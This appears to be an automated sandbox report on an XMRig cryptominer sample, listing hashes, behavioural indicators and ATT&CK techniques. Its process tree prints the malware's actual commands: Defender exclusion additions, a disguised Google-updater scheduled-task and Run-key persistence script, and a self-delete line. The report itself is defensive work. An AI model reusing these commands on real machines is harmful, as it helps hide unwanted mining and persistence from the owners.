xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
323s
max time network
1781s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

6vHkJ4UErTSS5ECD.exeupdater.execonhost.exe

description	pid	process	target process
PID 2176 created 1360	2176	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 2176 created 1360	2176	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 2176 created 1360	2176	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 2176 created 1360	2176	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 2156 created 1360	2156	updater.exe	Explorer.EXE
PID 2156 created 1360	2156	updater.exe	Explorer.EXE
PID 2156 created 1360	2156	updater.exe	Explorer.EXE
PID 2156 created 1360	2156	updater.exe	Explorer.EXE
PID 2532 created 1360	2532	conhost.exe	Explorer.EXE
PID 2156 created 1360	2156	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 26 IoCs

miner

Processes:

resource	yara_rule
behavioral5/memory/2336-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2336-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2252 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2156 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2584 taskeng.exe

pid	process
2252	cmd.exe

pid	process
2156	updater.exe

pid	process
2584	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral5/memory/2336-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2336-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2156 set thread context of 2532	2156	updater.exe	conhost.exe
PID 2156 set thread context of 2336	2156	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

6vHkJ4UErTSS5ECD.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	6vHkJ4UErTSS5ECD.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2468 schtasks.exe
2524 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1716 WMIC.exe

pid	process
2468	schtasks.exe
2524	schtasks.exe

pid	process
1716	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00c12f20474eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

6vHkJ4UErTSS5ECD.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2176	6vHkJ4UErTSS5ECD.exe
2176	6vHkJ4UErTSS5ECD.exe
2384	powershell.exe
2176	6vHkJ4UErTSS5ECD.exe
2176	6vHkJ4UErTSS5ECD.exe
2568	powershell.exe
2176	6vHkJ4UErTSS5ECD.exe
2176	6vHkJ4UErTSS5ECD.exe
2176	6vHkJ4UErTSS5ECD.exe
2176	6vHkJ4UErTSS5ECD.exe
2624	powershell.exe
2156	updater.exe
2156	updater.exe
2160	powershell.exe
2156	updater.exe
2156	updater.exe
1212	powershell.exe
2156	updater.exe
2156	updater.exe
2156	updater.exe
2156	updater.exe
2532	conhost.exe
2532	conhost.exe
2156	updater.exe
2156	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	2156	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1716	WMIC.exe
Token: SeSecurityPrivilege	1716	WMIC.exe
Token: SeTakeOwnershipPrivilege	1716	WMIC.exe
Token: SeLoadDriverPrivilege	1716	WMIC.exe
Token: SeSystemtimePrivilege	1716	WMIC.exe
Token: SeBackupPrivilege	1716	WMIC.exe
Token: SeRestorePrivilege	1716	WMIC.exe
Token: SeShutdownPrivilege	1716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1716	WMIC.exe
Token: SeUndockPrivilege	1716	WMIC.exe
Token: SeManageVolumePrivilege	1716	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1716	WMIC.exe
Token: SeSecurityPrivilege	1716	WMIC.exe
Token: SeTakeOwnershipPrivilege	1716	WMIC.exe
Token: SeLoadDriverPrivilege	1716	WMIC.exe
Token: SeSystemtimePrivilege	1716	WMIC.exe
Token: SeBackupPrivilege	1716	WMIC.exe
Token: SeRestorePrivilege	1716	WMIC.exe
Token: SeShutdownPrivilege	1716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1716	WMIC.exe
Token: SeUndockPrivilege	1716	WMIC.exe
Token: SeManageVolumePrivilege	1716	WMIC.exe
Token: SeLockMemoryPrivilege	2336	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2568 wrote to memory of 2468	2568	powershell.exe	schtasks.exe
PID 2568 wrote to memory of 2468	2568	powershell.exe	schtasks.exe
PID 2568 wrote to memory of 2468	2568	powershell.exe	schtasks.exe
PID 2252 wrote to memory of 2600	2252	cmd.exe	choice.exe
PID 2252 wrote to memory of 2600	2252	cmd.exe	choice.exe
PID 2252 wrote to memory of 2600	2252	cmd.exe	choice.exe
PID 2624 wrote to memory of 2528	2624	powershell.exe	schtasks.exe
PID 2624 wrote to memory of 2528	2624	powershell.exe	schtasks.exe
PID 2624 wrote to memory of 2528	2624	powershell.exe	schtasks.exe
PID 2584 wrote to memory of 2156	2584	taskeng.exe	updater.exe
PID 2584 wrote to memory of 2156	2584	taskeng.exe	updater.exe
PID 2584 wrote to memory of 2156	2584	taskeng.exe	updater.exe
PID 1212 wrote to memory of 2524	1212	powershell.exe	schtasks.exe
PID 1212 wrote to memory of 2524	1212	powershell.exe	schtasks.exe
PID 1212 wrote to memory of 2524	1212	powershell.exe	schtasks.exe
PID 2156 wrote to memory of 2532	2156	updater.exe	conhost.exe
PID 1844 wrote to memory of 1716	1844	cmd.exe	WMIC.exe
PID 1844 wrote to memory of 1716	1844	cmd.exe	WMIC.exe
PID 1844 wrote to memory of 1716	1844	cmd.exe	WMIC.exe
PID 2156 wrote to memory of 2336	2156	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1360

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2568

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2524

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2336

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1708

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1844

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2532

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2468

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2600

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2528

C:\Windows\system32\taskeng.exe
taskeng.exe {5188B0C6-89D1-464F-890C-487C4159761C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2584

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
83KB

MD5
7d1d4e696d8c1a5fd603a715854c5a5e

SHA1
0744a37c99410b9a3e6ae6db30f7bc532d04a22d

SHA256
b609c700e649225b170e21943b384414c4ceb66f9db2bdfc72546b5ef1933e08

SHA512
1cc44753c73bac710ef88663501becf0117eef18442a05d9f740e4783b2b4a5bdb058a97d2e409a769dba254a48c9019cd281f8748111fff66d37db4373666b8

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
45KB

MD5
e6d383a88e9ffe3d919af82e1a0cfdb1

SHA1
55c5078350fcdedc2ba39ca2df1ca779921a57e3

SHA256
4d07ed5f82cf67c9aa2c3f5d0fe8309eb122874edb09086e709d1394b227367e

SHA512
db3e2009454c58792dbee8cfb91657569e23429b2534fe5e902295348ec2a8debccdd490e56826dd071ca9df186593f82381561f47f08cdffa2b829a28fda436

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UZH4JNS33WL58SJ4FDLL.temp
Filesize
7KB

MD5
1ce9e489df198a2043014548ddbe038c

SHA1
57454bca8f0d058992ef0a4ff866b0d5f64c19cb

SHA256
268cd89ac4fcc7cbfb493552acff8480bc1e1cfc50d93961395492699b92252c

SHA512
a8b448b8a16571a0e280b9603310e5bbd707d6dfa9c4aa7a80190365585664c32308e2a03a627e9d36063f18bcb872d21adf62858c9ae84738de0ab91a99e91f

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
15KB

MD5
44c8da26b18fdb2894cff541d78ef70e

SHA1
2c81911c23ce8c2377239accbcbb57c484d0c9fc

SHA256
81c6771bae786736363c1dd37c6b081cd835e7be53960e208007e95e242eb985

SHA512
3f9eb4e4eb5ac12141430132e506b4a728925518e98b8e751a34ca9dbe2bfd521dceb9edebeb7ea19816d38a28fe1cfecadab5209a3febc7c1834aeb0e3226fa

Download Submit
memory/1212-53-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/1212-54-0x0000000001220000-0x00000000012A0000-memory.dmp

Filesize
512KB

Download
memory/1212-52-0x0000000001220000-0x00000000012A0000-memory.dmp

Filesize
512KB

Download
memory/1212-51-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/1212-55-0x0000000001220000-0x00000000012A0000-memory.dmp

Filesize
512KB

Download
memory/1212-57-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/1212-56-0x0000000001220000-0x00000000012A0000-memory.dmp

Filesize
512KB

Download
memory/2156-64-0x000000013FEC0000-0x00000001400D1000-memory.dmp

Filesize
2.1MB

Download
memory/2156-44-0x000000013FEC0000-0x00000001400D1000-memory.dmp

Filesize
2.1MB

Download
memory/2160-50-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-48-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2160-47-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-46-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2160-45-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-49-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2176-28-0x000000013FCD0000-0x000000013FEE1000-memory.dmp

Filesize
2.1MB

Download
memory/2176-0-0x000000013FCD0000-0x000000013FEE1000-memory.dmp

Filesize
2.1MB

Download
memory/2336-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-65-0x0000000000200000-0x0000000000220000-memory.dmp

Filesize
128KB

Download
memory/2336-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-67-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2336-68-0x0000000000840000-0x0000000000860000-memory.dmp

Filesize
128KB

Download
memory/2336-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-74-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2336-75-0x0000000000840000-0x0000000000860000-memory.dmp

Filesize
128KB

Download
